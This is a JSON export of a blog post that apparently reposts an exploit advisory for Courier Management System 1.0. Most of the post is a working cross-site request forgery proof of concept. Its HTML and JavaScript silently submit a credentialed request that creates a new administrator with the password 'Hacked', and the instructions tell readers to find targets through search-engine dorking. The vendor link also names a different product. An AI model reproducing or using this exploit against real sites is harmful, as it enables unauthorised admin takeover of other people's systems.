{"id":59140,"date":"2024-08-23T19:59:54","date_gmt":"2024-08-23T16:59:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180342\/cms10-xsrf.txt"},"modified":"2024-08-23T19:59:54","modified_gmt":"2024-08-23T16:59:54","slug":"courier-management-system-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/courier-management-system-1-0-cross-site-request-forgery\/","title":{"rendered":"Courier Management System 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Courier Management System 1.0 CSRF add admin Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/php\/14615\/task-management-system-using-phpmysqli-source-code.html |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following html code create a new admin .<\/p>\n[+] Go to the line 6.<\/p>\n[+] Set the target site link Save changes and apply . <\/p>\n[+] save code as poc.html .<\/p>\n<p>&lt;!DOCTYPE html&gt; <br \/>&lt;html&gt; <br \/>&lt;body&gt;<br \/>&lt;script&gt; function submitRequest() <br \/>{ var xhr = new XMLHttpRequest(); <br \/>xhr.open(&#8220;POST&#8221;, &#8220;http:\/\/127.0.0.1\/courier\/ajax.php?action=save_user&#8221;, true);<br \/>xhr.setRequestHeader(&#8220;Accept&#8221;, &#8220;*\\\/*&#8221;); <br \/>xhr.setRequestHeader(&#8220;Accept-Language&#8221;, &#8220;en-US,en;q=0.5&#8221;);<br \/>xhr.setRequestHeader(&#8220;Content-Type&#8221;, &#8220;multipart\\\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8220;);<br \/>xhr.withCredentials = true; <br \/>var body =<br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n&#8221; + <br \/>&#8220;Content-Disposition: form-data; name=\\&#8221;email\\&#8221;\\r\\n&#8221; + <br \/>&#8220;\\r\\n&#8221; + <br \/>&#8220;indoushka\\r\\n&#8221; + <br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n&#8221; + <br \/>&#8220;Content-Disposition: form-data; name=\\&#8221;password\\&#8221;\\r\\n&#8221; + <br \/>&#8220;\\r\\n&#8221; + <br \/>&#8220;Hacked\\r\\n&#8221; + <br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n&#8221; + <br \/>&#8220;Content-Disposition: form-data; name=\\&#8221;type\\&#8221;\\r\\n&#8221; + <br \/>&#8220;\\r\\n&#8221; + <br \/>&#8220;1\\r\\n&#8221; + <br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\r\\n&#8221;; <br \/>var aBody = new Uint8Array(body.length); <br \/>for (var i = 0; i &lt; aBody.length; i++) <br \/>aBody[i] = body.charCodeAt(i); <br \/>xhr.send(new Blob([aBody])); <br \/>}<br \/>&lt;\/script&gt;<br \/>&lt;form action=&#8221;#&#8221;&gt;<br \/>&lt;input type=&#8221;button&#8221; value=&#8221;Submit request&#8221; onclick=&#8221;submitRequest();&#8221; \/&gt;<br \/>&lt;\/form&gt; <br \/>&lt;\/body&gt; <br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Courier Management System 1.0 CSRF add admin Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/php\/14615\/task-management-system-using-phpmysqli-source-code.html |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following html code create &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59140","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59140"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59140\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}